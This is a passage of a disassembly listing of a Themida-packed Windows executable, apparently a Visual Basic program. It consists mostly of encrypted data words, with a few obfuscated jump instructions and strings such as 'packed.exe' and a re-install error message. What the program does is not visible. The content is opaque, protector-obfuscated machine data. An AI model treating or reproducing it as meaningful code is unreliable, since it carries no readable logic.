0A7CEF7Eh, 0AF23549Dh dd 0CD1A357Ah, 0FF93C688h, 5DBABEAFh, 84E0BF2h, 1137D7h dd 78360000h, 9F88C291h, 5397B5h, 4FBACCFh, 42B10000h dd 4313FA61h, 4576C90Dh, 0D11B1739h, 0A1E56DEAh, 0C0A31D4Eh dd 23F9BAB9h, 68F36976h, 0F7058C8Ah, 650586Eh, 0E9AD3023h dd 0E22633F8h, 94DEEAFCh, 91B24B1h, 84CEDBF7h, 0B295B89Dh dd 0F101FA82h, 0FE317A87h, 0F0E26CE9h, 0EDBD845Bh, 67080529h dd 69000008h, 1F3467F1h, 0D4E91C3Ah, 8499CC80h, 384D80D4h dd 0C8FC2F1Bh, 51F95AE3h, 44E091Eh, 0B69ABCD1h, 67E76E83h dd 8265CF34h, 23FFFB52h, 0D9A2A357h, 22D6077Ch, 863B753Ch dd 0ED367FCFh, 2A0D55A9h, 1C1620FAh, 0A8C1F2FFh, 6E559FABh dd 568669EAh, 531C1621h, 65B9FD46h, 16215282h, 14A571Ch dd 43656DD0h, 0CEB5FD47h, 0B7E7CA8Bh, 0B41C1620h, 0C71A5EA7h dd 85138196h, 7E8C2400h, 7F6B9Bh, 0AD987024h, 0C9EF2350h dd 549EE730h, 3366E86Dh, 0D317371Eh, 0C8BF987Fh, 66C4FDCEh dd 0AAEE37E2h, 67B09EB7h, 0C042A36h, 0D379DBC2h, 0D4528A2h dd 0A22BEA3Bh, 0F1644B95h, 40152A5Dh, 0B9FA2A0Dh, 0F2FF1C15h dd 0E17265A9h, 0C5CA7769h, 92B6C2A9h, 79195h, 3D1B3F00h dd 0F264F50Ah, 0A2AAAABFh, 56FE5A6Fh, 5450E23h, 303D9ED2h dd 0DFF42723h, 92A7DA78h, 44598CC4h, 0A50A3D11h, 0FC28583Bh dd 712523FFh, 0C2917870h, 0C0F14488h, 4C9692B4h, 0FFF33169h dd 27717E23h, 6391540h, 0A4A64F1h, 61B5F942h, 2E263219h dd 82B297EAh, 8723FFF1h, 2B3D497Ah, 68EED51Fh, 0F7400C48h dd 1D044CC6h, 7ED11537h, 0DD9384Dh, 0C9D62BE4h, 9B7880D7h dd 7B789CC2h, 70Eh, 8DC098C2h, 4275E178h, 0F225272Dh, 0A6D97BDDh dd 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh, 8EC7DC0Fh dd 0BE288DC0h, 0FFFBABDBh, 0FBFCB023h, 88D27CD9h, 6798B2A1h dd 0F95500F3h, 143B80B5h, 1B4B2E76h, 731C158Fh, 21BC5E56h dd 7E8BF2AFh, 2D21344Dh, 193666FAh, 745B5DBAh, 9F3F70E4h dd 11h, 1397BCA3h, 77CA0E44h, 0CF7EFD2Eh, 2D9h, 0D27CD9D4h dd 9CB6A188h, 7FB0A6B3h, 703250Bh, 629275BDh, 671C158Eh dd 0CCAF295Ah, 23FFF394h, 0DBC20C19h, 3F92D67Ch, 4E35AB0Eh dd 1E014B0Bh, 23FFF2EEh, 94ADDEEBh, 6AE7C2C1h, 555E04EDh dd 7ED5C80Ch, 7F9199CCh, 0D1707BA8h, 98A4DBAEh, 189EE92h dd 543781CAh, 24003924h, 89D31C29h, 0EA9C4DA6h, 0E175222Bh dd 8FD82B6Fh, 0EEC3345h, 91CEC0E2h, 56FFE660h, 0A5B0C5F8h dd 0E17265A9h, 293F2569h, 41F4D721h, 4623FA91h, 0F4264739h dd 0CEF2BAC4h, 601D1h, 0CD8BCF00h, 82D4859Ah, 321A3A4Fh dd 0E66EEAFFh, 95B59EB3h, 0C08D2E62h, 6F84B793h, 22376AE8h dd 0D4E91C34h, 359ACD81h, 0FCB8E8CBh, 1B523FFh, 327CD900h dd 94E72B23h, 0F5EF014Bh, 19FD5B87h, 6F96D9Eh, 0EB1BFE4Fh dd 0F01C1641h, 41CFFFE2h, 0BFCC1C16h, 0B4E92D76h, 5203E06Fh dd 6535C9FCh, 25DBA2Ch, 7, 169CF01h, 0D9D40000h, 83E0D27Ch dd 81C2A9F0h, 584605Dh, 0E4C0000h, 5702174Ah, 9DB7CCFFh dd 0F1677CAFh, 381B3063h, 0ABDF12h, 134163Dh, 0B4E76BECh dd 6699B79Fh, 174A0451h, 356548B2h, 3A23FFFEh, 7CD98586h dd 0BA9B8ED2h, 0F85D5094h, 391F1256h, 32CDD71Bh, 45701Dh dd 8BC3924Fh, 50F95A41h, 158F3D6Dh, 0EC35421Ch, 0EB6C55A8h dd 9FD02367h, 9FF0A83Ch, 1C775DBAh, 7B000000h, 97205033h dd 101D1C15h, 0DD212F27h, 0CFDA598Ah, 0DBh, 0D5CFD4h, 0E6D40000h dd 0B4E4C7C0h, 0B91C158Eh, 8E98C8ABh, 88951C15h, 9AACF63Fh dd 0FD9C2D36h, 2512534Ah, 0D1D580F8h, 95DD5788h, 76A7A7AEh dd 0F22961h, 80D98624h, 63498DD6h, 0B3FB454Dh, 97C88CCCh dd 0E43F1B82h, 719BAD2Bh, 2291D770h, 6D7A1142h, 9B677E7Bh dd 0C1BEE2C2h, 4A6h, 0F528302Ah, 0AADD79E0h, 5A8DBF95h dd 0E411345h, 0BDF05AF9h, 381B2289h, 8DCADF12h, 0D97D92C5h dd 262F4477h, 2690F528h, 0FFFF1343h, 63641823h, 7EC8C0E6h dd 0F9DE4E9Bh, 60435123h, 23F9DE30h, 8DD7202Dh, 58FEAEA6h dd 1861B4F8h, 0DDA1D4E5h, 7BC323F9h, 0F9DD6898h, 27586523h dd 2306470Eh, 23F9DDF3h, 58A2EBF8h, 0E87BE246h, 316239B1h dd 0B19BB9CEh, 42C706Dh, 0E6750000h, 9B7EC8C0h, 23FFF363h dd 67095365h, 4EB90DFFh, 3579861Dh, 0E731394Fh, 0E4379D04h dd 0E482F2Bh, 73E0FE42h, 0BE565935h, 0F68DBE07h, 0DB18F7E9h dd 4064C29Bh, 3F143h, 0DD7BDF00h, 92C495AAh, 420A4A5Fh dd 0F65EFA0Fh, 0A5A5AEC3h, 0D09D3E72h, 7F94C783h, 32477AD8h dd 0E4F92C24h, 45AADD71h, 0FFC8F8DBh, 11C523FFh, 0FDC0E610h dd 3E48D0C2h, 4C96DF5Bh, 0E63569h, 0E32D3A24h, 0C2F559FCh dd 0A44C3A4Ch, 9788C642h, 46084D66h, 0FD0A1C02h, 0FFB4EA1Ah dd 0F9290C23h, 0F623FFB4h, 2C7582E9h, 185AFFE2h, 8B722BEAh dd 0EC3F83C9h, 0B9FD5303h, 919E3566h, 0B9F56047h, 396CB59Fh dd 0D97D3124h, 0FCDF3377h, 1C15D3CCh, 327BC4D1h, 0EAE608EEh dd 0B19BB9A0h, 23311A6Dh, 367EF829h, 0C9714324h, 0A7D85407h dd 0FAA33B92h, 31233023h, 0BAC505D4h, 338F8CB0h, 9D000003h dd 53689BBDh, 81D5006h, 0B8CD004Ch, 6C81B4A0h, 0FC3063E7h dd 85C58EDFh, 381A3D52h, 0EA66F005h, 9BB3A2B7h, 0B6990368h dd 23FFFF86h, 0D9CECF83h, 9B8ED27Ch, 2261F4BAh, 7DD88172h dd 91D51E9Dh, 0BAC2F53Eh, 6F529C94h, 23F9DE2Ch, 2F1E626Fh dd 23F9B6FBh, 82D7D77Eh, 0F43D90D4h, 0B496BDB0h, 71DE5370h dd 0D27D1014h, 5EB7C696h, 32655Ah, 82690000h, 0D67CDBD3h dd 12F5498Dh, 23F9AEE2h, 6091DAE7h, 0C8C0E6E1h, 979C9B7Eh dd 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh, 0CDC05A5Eh dd 0BF000000h, 88D27CD9h, 4E98B2A1h, 158F3B6Bh, 233401Ch dd 92B89B8Eh, 54FA5B4Eh, 2D09F80Ah, 5161007Fh, 9CB9AC20h dd 0D48168B2h, 0B2E3367Ah, 0DBDC3E4Fh, 96DE1C15h, 15DA83B3h dd 4A7B881Ch, 0F72A2431h, 97DB73E2h, 49939FB1h, 0F9EA1F66h dd 357F8C23h, 0D0DA0AEDh, 0D2DF23F9h, 10363EA1h, 0EEBCE18h dd 912BE0BBh, 533A84h, 5102174Ah, 481407F9h, 4C70C2A7h dd 2154Fh, 0B99FBB00h, 6EE87186h, 1E2E263Bh, 0D282D6EBh dd 81C98A9Fh, 0ACB11A4Eh, 5B70A3A7h, 0E2356FCh, 0C0D50848h dd 2186B995h, 0A4D4B7h, 0F5A92400h, 57AD9F4h, 0CD884BF7h dd 0B0996D81h, 152771BAh, 1DBDB557h, 2A8DBE93h, 0C40E4015h dd 92D678DDh, 30AB0E3Fh, 15F76678h, 5A2EB9DDh, 0FF0B1D29h dd 1CD3D2B5h, 0CBD823FAh, 1A649887h, 39CC23FAh, 2F124A16h dd 0E4195A5Eh, 18000000h, 0C0C59178h, 0B7D639F0h, 0EE1F686Ch dd 84CE80D5h, 5498BA9Dh, 695CD001h, 2D1C60EAh, 1C15D8CBh dd 10430B4Ah, 0B0F45AFBh, 71E3755Ch, 4E7FCB88h, 0DA242C42h dd 0F9DEB0F7h, 0CDB0F823h, 23F9DD9Dh, 0CD6495A2h, 0D3173320h dd 0DBED3780h, 0CEB0CE5h, 399CCDF4h, 0C9131F31h, 26563981h dd 2323FA62h, 94D0E516h, 192BE148h, 78DBC20Ch, 42299FD2h dd 0A4F73B13h, 51F95A73h, 0A7BAB25Fh, 0BDBADEC2h, 116h dd 85B8A0BAh, 3A6DE970h, 0EA1D2F25h, 9ED183D5h, 4D80CA89h dd 0A8ABB219h, 0FD5A6FA2h, 490D2255h, 96BFD407h, 0B62085B8h dd 1A3D3h, 0F3F4A824h, 0ECBD6678h, 0C40E3393h, 4374BD91h dd 0D721292Ah, 0A3E763F0h, 63A7A3B0h, 32B3C710h, 0F1F81827h dd 7085E819h, 0C03669E5h, 92D680D9h, 0D98F0E3Fh, 9B8ED27Ch dd 0EB6194BAh, 8E90C0A3h, 808D1C15h, 252D434Fh, 0EB5FF4DBh dd 0A92354A7h, 76DE7A61h, 8F19492Ch, 9161C15h, 0F21AC3D8h dd 0E22A23FFh, 10F55BFBh, 23FFF1E0h, 0F1E717FAh, 0D7E423FFh dd 9B326370h, 0F17AAA8Dh, 727F23FFh, 63F2E529h, 0FF480E4Bh dd 109EB7CCh, 76C90D49h, 42FAE92Dh, 54340DC1h, 1045A2ADh dd 0B598B99Eh, 33FD3A85h, 0EB347D8Ah, 467659A1h, 4333FD3Bh dd 8DA20536h, 4F4286C8h, 0FD074B09h, 5500ED62h, 850C6F9h dd 0FD3AF525h, 74DFA33h, 65AE0145h, 143A1B34h, 10D3D0h dd 95DD0000h, 0FD3A82B2h, 7CDA8733h, 0DB5A8BD4h, 81D93A69h dd 0B5A093D7h, 0F4625599h, 3225185Ch, 6AE9DC20h, 0AAA99CE0h dd 0EF695CA0h, 262E2165h, 6AEFE226h, 536AA8ECh, 0C381E389h dd 4, 8704EB83h, 248B241Ch, 18EB6824h, 3C890000h, 5A0E6824h dd 4890000h, 65A46824h, 3C8B07EAh, 4C48124h, 68000000h dd 392Bh, 83242489h, 58042404h, 8EB95157h, 290C0330h, 5904244Ch dd 8108408Fh, 308E0840h, 48B0C03h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h ; --------------------------------------------------------------------------- mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_598345 ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_5E9A29: ; CODE XREF: Themida_:loc_5E8994j mov eax, 7EA751Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0F1BCh dd 0F31E01FDh, 588B5843h, 0C73D7D8Eh, 0D2023388h, 2FD30C7h dd 6E7E2ECFh, 4EBD39A5h, 39692618h, 61B50692h, 1F272840h dd 1E5035A9h, 4960470Fh, 7BE957F5h, 4B000001h, 0DD679C44h dd 437C8360h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h dd 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 7 dup(0) dd 4DE90000h, 6800001Ch, 7EA797Dh, 0FA0692E9h, 7A5868FFh dd 88E907EAh, 68FFFA06h, 7EA7B90h, 0FA067EE9h, 7C4868FFh dd 74E907EAh, 68FFFA06h, 7EA7C87h, 0FA066AE9h, 7D4A68FFh dd 60E907EAh, 68FFFA06h, 7EA7DA7h, 0FA0656E9h, 7DF868FFh dd 4CE907EAh, 68FFFA06h, 7EA858Dh, 0FA0642E9h, 861E68FFh dd 38E907EAh, 68FFFA06h, 7EA86E1h, 0FA062EE9h, 87CC68FFh dd 24E907EAh, 68FFFA06h, 7EA885Eh, 0FA061AE9h, 892A68FFh dd 10E907EAh, 68FFFA06h, 7EA89B1h, 0FA0606E9h, 8A5468FFh dd 0FCE907EAh, 68FFFA05h, 7EA9044h, 0FA05F2E9h, 914F68FFh dd 0E8E907EAh, 68FFFA05h, 7EA9209h, 0FA05DEE9h, 7A9C74FFh dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0D8DCA320h dd 357A13A8h, 617956A6h, 6F7E5B29h, 42A00DF2h, 760C914h dd 733B5473h, 0B324A623h, 16A13A6h, 73D537C9h, 0A6B401F6h dd 0F964CD13h, 13A6B402h, 659DBB95h, 0FE1079CAh, 0A6B47A05h dd 0A8C09D13h, 0B3C8A270h, 0A6B44136h, 4BA40D13h, 5C557113h dd 0EAD78A30h, 0AAE69E75h, 798E0052h, 0C07C8E45h, 423C2791h dd 93ECD368h, 0FCA0E481h, 0D8776A03h, 38D4h, 0F492FD00h dd 0CAEDFF17h, 47A6E2C5h, 0E6C82063h, 0C09F3D8Dh, 0C7D974ACh dd 6CA66CE9h, 0B7413A6h, 0C4A341D3h, 0DAA59EB0h, 7113A66Eh dd 87782460h, 50D87743h, 0C1h, 61795679h, 0B8359729h, 1442A0C3h dd 0FA14268Fh, 0E88F0C1Fh, 661442A0h, 7E9271FDh, 5937D525h dd 0D96B3143h, 0E465E3Bh, 6A476173h, 6F4C1A52h, 61CEC357h dd 0EE1442A4h, 20587650h, 7C597385h, 0DDBAD064h, 0D9B68DC5h dd 0E0885D5h, 5413A6B0h, 51F390E4h, 477609DBh, 68D33394h dd 21B50EFEh, 0D1218D02h, 40D95B54h, 5EAE1714h, 35C9E5C0h dd 29B7E95Bh, 70516C82h, 4D69445Eh, 34C08FF9h, 34BAFA62h dd 196Ah, 45D9FBD3h, 0A236562Fh, 296B08Ch, 65F90DECh, 0C458744Fh dd 714C05EBh, 0D1ABC155h, 2B091FB3h, 8E6B8115h, 7F2FE276h dd 0A8D97D02h, 594D913h, 0CB5F7B56h, 2CC0D8B5h, 19F4925Bh dd 182AC5FDh, 0C4149AF5h, 0CDE9C462h, 0EFE8FA95h, 13A6A939h dd 0A9568EF7h, 13A6A9D6h, 0AA852375h, 0A7DF7C8Eh, 780808F7h dd 0C3CDD8h, 56F60000h, 5B296179h, 9A2C6480h, 0A0C4BB38h dd 29921442h, 0A5111E17h, 25021442h, 8663790Dh, 305F366Eh dd 1E566E4Bh, 0C1B63383h, 8D1442A5h, 0FE7BCB24h, 13A6B104h dd 2E4DE14Ah, 80FD4D61h, 14405F20h, 0A1B79533h, 0F747B08Fh dd 542D8059h, 0EBC9DB34h, 0F70DEB89h, 0D4F0CBE5h, 2C4F2A40h dd 0A8F1A6A0h, 0DD318A24h, 6234DAB5h, 8F22A8E8h, 0AE000018h dd 0A20B4D6h, 677D1131h, 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh dd 304C2720h, 8EAC869Ch, 0F006E4FAh, 5169465Ch, 0DD5A0ABDh dd 13A8DA26h, 92E06FB4h, 6B2D5E20h, 0AB15758Fh, 6D49D592h dd 4C274153h, 0A9869C30h, 62DF4191h, 1442FD9Dh, 9CBED039h dd 2E7956CBh, 0A280255h, 85DE79B1h, 93A27F4Dh, 0C4FC1CF5h dd 0A039BE29h, 2C951442h, 0BE583D3h, 0DFB9DBEDh, 0E705DF7Dh dd 42A0877Ch, 5EEA5314h, 96316981h, 802E6184h, 86FDB330h dd 4BBB13A6h, 3A05AC76h, 0B3EB44BDh, 0A6817506h, 85C1D213h dd 0F774D6h, 0CE13A681h, 87785365h, 50D877FCh, 0C4h, 7FC14579h dd 0B04E9E10h, 0E984BCD2h, 0AE7CF9D7h, 7C13A68Ch, 7C1A0A13h dd 21FA86A0h, 0D7F6EF01h, 9CC73C2Bh, 300221FEh, 38BA2D1Dh dd 0B583BB14h, 5668C1D7h, 461F5C33h, 0FA53EE26h, 0B0132DAAh dd 0E141CFD8h, 20F29F64h, 0D2100F0h, 0C2FA53BCh, 2AD4BE30h dd 0A5B11349h, 981F7093h, 2060641Bh, 0C4D8B7F0h, 61B10A73h dd 0C7D0BCE4h, 0A5F55EF7h, 7E122A07h, 1F738B68h, 85B64C7Dh dd 576EF434h, 0E6000017h, 4258EC0Eh, 9FB54969h, 0FF15A9C3h dd 62780C20h, 0FED76B87h, 68845FF8h, 0C6E4BED4h, 283E1C32h dd 89A17E94h, 159242F5h, 13A8DB6Eh, 5618A7ECh, 52296179h dd 0A421713Dh, 13A686EEh, 0DEAF43ACh, 107FC145h, 4EEC4E9Eh dd 2F492572h, 1DCBC4D6h, 0CB13A68Ch, 8C09EE6Bh, 49C613A6h dd 13A68CB2h, 0FD66B720h, 19909BA4h, 15948E76h, 0E22017Ah dd 0A10365B5h, 4F875F24h, 8092FB9Bh, 0ABA6B587h, 20FE9C9Ch dd 0E9E19613h, 46D82B3h, 51BA99ABh, 614D4219h, 594C9411h dd 0A50E8554h, 7855F355h, 7B8D2860h, 0D86C8461h, 79CDE5C2h dd 0D327C22Dh, 9FD25898h, 9E000016h, 0FA10A4C6h, 576D0121h dd 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch dd 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A8DC36h, 56D05FA4h dd 0A30D6179h, 367200BCh, 166070F6h, 5DD0000h, 60394FE3h dd 0BA96AC40h, 17F60CA0h, 7E596F03h, 0FF5CE62h, 0CB5F7B56h dd 29BDDBB5h, 8B1F3513h, 0EC809875h, 770C8939h, 0E313A8DCh dd 30920F9Eh, 0F1C87CBEh, 0E44FC66Dh, 1442681Fh, 264052BBh dd 67F93149h, 0C7A3EAC9h, 0EFC854ADh, 0EAFC97CFh, 96E6C8C7h dd 0A6684F19h, 0E3A51513h, 3BD42656h, 0C33C720h, 1EFC9A8Bh dd 0A9E1F7D5h, 80A3B50Eh, 0D24F9F0Fh, 1442F604h, 0C5935D3h dd 84BC1531h, 2F6289E9h, 3C8C626Dh, 0D9E24B2Ah, 22EB7FCEh dd 0CEE0AF87h, 2A3F017Eh, 7915BFD7h, 0B04B839Dh, 47481F57h dd 469A1767h, 14A7F0DCh, 0E0BD5BABh, 411E34C8h, 3EE5D529h dd 0C808B5C3h, 159D42h, 0A6C8A000h, 323FC12h, 637D596Fh dd 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh, 0D6EC809Eh dd 384EE2F8h, 0FCAF435Bh, 0DD28CF4Ch, 61A613A8h, 0A08077D2h dd 0ED4F1442h, 42A08B70h, 0CCDE4714h, 42B028D3h, 0A0F38C14h dd 0BA451442h, 0DD144280h, 3094E800h, 0D172009Ch, 15400B91h dd 25FD0000h, 80596F03h, 0DAB6CC60h, 37162CC0h, 9E798F23h dd 0EF15EE82h, 0EB7F9B76h, 49DDFBD5h, 0AB3F5533h, 0CA0B895h dd 572CA959h, 313A8DDh, 30922FBEh, 42A0CCB3h, 0F218A14h dd 0BB0BA3ECh, 0A6B8103Eh, 155BE13h, 6A1CA3CDh, 0EF820848h dd 4E000014h, 0AAC05476h, 71DB1D1h, 677D112Bh, 0CAE07488h dd 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah, 0F109E6FCh dd 7DFAAA5Dh, 13A8DD86h, 92800F54h, 0A0CCB330h, 218A1442h dd 0A0AF54D1h, 0C22B1442h, 0A1B996B0h, 0F265D769h, 96AA893Dh dd 8D63C35Eh, 0FCF353D4h, 5341DBE8h, 0EECBE5F7h, 9D5A9ED6h dd 864AB5E9h, 278BE05Bh, 0B4000000h, 42A08477h, 23320F14h dd 42A0D1A6h, 0C4147D14h, 42A0B047h, 5CB51E14h, 2557D3C8h dd 0E51D1419h, 145D5Fh, 0F492EE00h, 0D0EAFC1Ah, 0CCA3DBF3h dd 399BEBC3h, 0A0A55AD7h, 1BF61442h, 3345AEFFh, 0A6B4D83Ah dd 0A93DA613h, 0FD95DCFh, 0F6C9DE8Ch, 0E0CEC1E4h, 0B1902E90h dd 0B8CA659Dh, 420885BFh, 0AAE24B14h, 52E600DCh, 8A16A35Dh dd 0FD1DF61Bh, 277A5369h, 81EFC4Dh, 50DC35D0h, 841F5777h dd 4C25F32Bh, 4926F42Ch, 4F2BF931h, 6F46FD35h, 0B67F7B37h dd 8FB68F8Eh, 6B39C622h, 0F084DD4Bh, 93F1E619h, 286EFD0h dd 4D180000h, 0BA1C6C42h, 16283E1Ch, 0A6B38B1Dh, 0FC79D913h dd 13A6B407h, 3F5D37D3h, 87558DE6h, 0E4FA8EAEh, 0DA03E40Bh dd 4B8BC3C4h, 720DBAF2h, 9213A64Fh, 0C224570Fh, 0A7AFBE45h dd 0A1B31C13h, 7C5BAE87h, 5C7B0F68h, 0AE2B7B33h dd 1443B300h, 0DFADE54Eh, 3E54E804h, 620F4763h, 1B8B8C9Bh dd 0CB0323FCh, 0D00820FDh, 0C8B7EF6Ch, 0FE99D1EDh, 0C38306A5h dd 0D165815Ch, 81D1DDB2h, 3F58AD1Fh, 0B4D391ABh, 0EE89C1D5h dd 348A8395h, 221C6FCBh, 0D6B381B9h, 0DE502ABEh, 383C9487h dd 849EB01Bh, 687E5CA7h, 0E05DBF0Fh, 3EFA21Bh, 763C4EB7h dd 0EFA232C9h, 97CF5203h, 4F6B46E4h, 2E46233Dh, 78FF7CDEh dd 0D603EFA2h, 0EE02E16Dh, 0E7091BB6h, 43E1F8D1h, 1CE34E66h dd 0BA03EFA2h, 0A226DD5Ah, 4BB403EFh, 0AB4999F2h, 0DDA3B5CFh dd 7E3360Fh, 8E5C94EDh, 905E96B4h, 5E25A2B5h, 0FC03EFA2h dd 0C4023A93h, 93104BFBh, 3EFA2ECh, 0ACA8016Ah, 0B2B04A2h dd 892638D3h, 0BF3C9EDDh, 3EFA238h, 11B2D96h, 9D740828h dd 0C8AF0F62h, 0AE55D234h, 0F103EFAEh, 2BC6FE12h, 34526ADAh dd 9E7A601Fh, 0BE943345h, 0B4000000h, 0E8203A16h, 56663B4Dh dd 59275F7Bh, 0EC2A627Eh, 21FC6323h, 80D9F9D2h, 9ED6BE30h dd 1B36854Bh, 0EF10E709h, 0E8E05B38h, 91h, 23209211h, 0AD895C86h dd 38152F41h, 1B87F019h, 62BBD585h, 677F5C2Ah, 6B85612Fh dd 6E8A6533h, 0FCA87F36h, 10AEB8B4h, 49E41C32h, 0AFEA9A37h dd 0C1E3211h, 0ADFD15F2h, 5429CE4Bh, 0BC961442h, 0AC04E130h dd 0FA0C75C6h, 0CFFE01D8h, 3ED7E05Bh, 0 dd 0F24B2092h, 70456884h, 5A543B5Eh, 24378D0Ah, 0B42613A6h dd 94C99968h, 3514264Eh, 14E794CCh, 0B313A678h, 45BAE2A2h dd 53D87745h, 0B48FD6B5h, 6CC56098h, 0E8879934h, 84h, 6C424D11h dd 0BEFD9F1Ch, 2A9313A6h, 2B4B24F2h, 421FBD97h, 25FE182Ah dd 26FFCD05h, 0C790CE06h, 0A7C7A09Fh, 0BCDDB957h, 93ED6F7Ch dd 0DC146DAAh, 360D2F41h, 0D8779BC9h, 410Eh, 484D3700h dd 16B41666h, 18112337h, 6BBD5F83h, 781666CFh, 0B24D8599h dd 522DDAA0h, 0DC9442A1h, 334726C4h, 99C08421h, 0D0DE8927h dd 99ABAF0Bh, 3F8F1F76h, 0BDBEDDC2h, 7C1079EBh, 7AEh, 4D9E3D00h dd 2D000000h, 28607A56h, 1161815Ah, 0FB3DC49Fh, 3A2E803Fh dd 7E3696ECh, 0B6D8EA8Eh, 8FA0C7A0h, 0B733C826h, 5B326AC3h dd 7C038037h, 0DA144233h, 33E01871h, 0EBBDCCB7h, 0CD4AACFEh dd 14423336h, 8C293BA4h, 7E5BA4D8h, 837CE05Bh, 0A500000Bh dd 1969454Dh, 0A0453AB7h, 0A1111442h, 9704C8C9h, 34469FA2h dd 0DF6ADC6Eh, 8D03AC3Eh, 0D450495Bh, 979DE984h, 619EDE86h dd 7656B0D8h, 39h, 69454D9Fh, 82A27B19h, 6E159270h, 0EC1442A0h dd 0B6953383h, 1DCA90A2h, 0BD316DC4h, 0C69F3D8Fh, 6E4D32AFh dd 0A009BD31h, 62740F47h, 22DD81C5h, 0B336E843h, 298h dd 15F492DCh, 4F34B101h, 0B1442A0h, 256D90A2h, 0BD9B3989h dd 0C2D46FA7h, 920AC1EDh, 0C6FE18F4h, 22FF192Bh, 0F2D9C30Ah dd 0CCB33092h, 8B1442A0h, 42A0690Eh, 2B7CE514h, 3D5D36C2h dd 0E5DF502Bh, 4B18E55Fh, 41000000h, 2269454Dh, 0ABE3092h dd 5A7A5306h, 4E005AFAh, 0DCB9433Ch, 0AE171442h, 5EFCEC5Eh dd 6E7307CDh, 0A23D7595h, 0CADEBD49h, 10E5F792h, 7A563992h dd 52701960h, 0E94B30E0h, 485A1788h, 549E73h, 86240000h dd 0BA558DADh, 2092D3A8h, 658A1451h, 10ED7943h, 0CFC3E6F8h dd 12F18FDFh, 192BC6FEh, 18F49244h, 7ED7EDCBh, 411FAB46h dd 0BE3B192Bh, 1442A03Ch, 0A81A6A51h, 0D54B0902h, 84596B80h dd 7A563992h, 0F4921960h, 28C3FB1Bh, 7FAFF6C8h, 30426644h dd 99771B30h, 6826CBD9h, 0D9F28906h, 0F76026CBh, 0D4F0CBE5h dd 24D2A40h, 39D40C26h, 0E8C3BFE0h, 0D80A7CCCh, 0A672E523h dd 0BD162A09h, 53D5331h, 0EA9586Ah, 9F7CE3A3h, 75527E87h dd 0DE7C3C5Dh, 0ABD6E802h, 187AF8BBh, 0CBE0E49Bh, 0F7097226h dd 0D16F2A5Ah, 9A4DCF4h, 0E800DDF7h, 0EFFF2698h, 0EE28644h dd 5C3965FCh, 1592F444h, 26CB916Eh, 0C27183ECh, 0C3BDEBC6h dd 9126CB91h, 16C0728h, 0DEFDDA45h, 0C1EDA738h, 39429BE0h dd 0DE16320Dh, 56856FFh, 0E703DE41h, 51BF997h, 0FE2032CDh dd 0D2F30BE8h, 4AE8FBD6h, 831E566Ch, 0C5867871h, 0E34C26CBh dd 43B5EDC2h, 7A6354E4h, 8E6C3926h, 0DBBC7EDEh, 5D09A6B8h dd 9DED05E2h, 0D20A22FFh, 153CC340h, 319A26CBh, 576F4CD8h dd 20BEAE45h, 0FC162846h, 0D9E6071Fh, 0A0E42598h, 0BFC8E0BDh dd 4E9EB693h, 0A5B7D7B0h, 31C436F6h, 0C05FB226h, 0BC97B1C3h dd 71EE50A0h, 26CBF48Ah, 1ECDDF48h, 0F16C1883h, 0CDECC914h dd 97B0841Dh, 459EF7F8h, 7956553Ch, 0AC11A61h, 0CCB33092h dd 8A1442A0h, 0A9EC0F21h, 86DFF3D2h, 95F2D93Fh, 0E55FE59Ah dd 465Bh, 30928400h, 2F9AB892h, 1442A048h, 6AA583F7h, 1C6DE299h dd 177EA1B3h, 15925097h, 1442A06Bh, 923980E9h, 5D7D5639h dd 105B9B0Dh, 6D69598Ah, 0D6E808E1h, 925B7001h, 0A0CCB330h dd 218A1442h, 263D0Fh, 4DCC0000h, 3D573348h, 1DF694E4h dd 4B30ADFDh, 71442A0h, 92B78C9Eh, 42A06B15h, 7AC1A814h dd 7D563992h, 5B70165Dh, 42B1AF77h, 1296D14h, 0B8FFFFFDh dd 42A08477h, 0D2AD4B14h, 0D1E37EB6h, 7ACAE4AEh, 663C5D08h dd 74863ABAh, 13603C52h, 8CC41D37h, 428118DFh, 8BBB9214h dd 0A9EB894h, 67FB1BF4h, 29614D48h, 14D2CE7Ch, 6C846156h dd 6E8C6634h, 1155D236h, 4CF80961h, 7C906F0Dh, 0A8708F6Ah dd 0FA659E05h, 85000001h, 0DCEE0EE7h, 0A0857707h, 88071442h dd 0B59D626h, 0D913A682h, 0EAC6DC70h, 0F1CA98D0h, 690799D1h dd 4761738Dh, 3F164E6Eh, 0AC0E5E50h, 5286E53Ah, 0CEE0B33Ch dd 4207FFD5h, 7F1D7D14h, 0B44F87A5h, 8A77B249h, 5EB7201Bh dd 37E5CE0Ah, 951B5B62h, 0D5Ah, 55E90BE3h, 0B246663Fh dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8256D12h, 15A4E913h dd 552E7956h, 962FD35h, 1995FAD1h, 0E8F567C9h, 87F9CBD3h dd 0D8847D8Fh, 7A13A877h, 0C15FC111h, 395CDE3h, 0A9B7F186h dd 9BF45D13h, 79936F89h, 0D9F3CFE5h, 0DEF6D3A1h, 0EEC0CFA6h dd 0ACDF219Eh, 476144Dh, 57629261h, 4ECB1B38h, 1B8D33A9h dd 0CBAABC25h, 29D40E62h, 29696231h, 0CC9A3h, 7A9C7400h dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 